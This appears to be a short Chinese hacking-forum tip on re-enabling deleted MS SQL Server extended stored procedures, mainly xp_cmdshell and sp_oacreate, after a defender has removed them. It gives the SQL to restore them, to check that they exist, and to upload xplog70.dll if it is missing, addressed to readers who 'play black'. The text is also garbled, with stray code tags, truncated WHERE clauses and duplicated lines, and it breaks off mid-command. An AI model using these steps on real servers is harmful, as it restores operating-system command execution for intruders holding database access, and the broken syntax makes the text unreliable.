| 关键词: cmdshell addextendedproc xplog 语句 dropextendedproc dll master exec xp sp |
玩黑的朋友都会经常遇到这样的问题,呵呵总结下扩展储存过程被删除以后可以有很简单的办法恢复:删除 drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在-----------------------------删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell'[/cdoe]恢复cmdshell的sql语句[code]exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and 返回结果为1就ok恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and 返回结果为1就ok否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshel |
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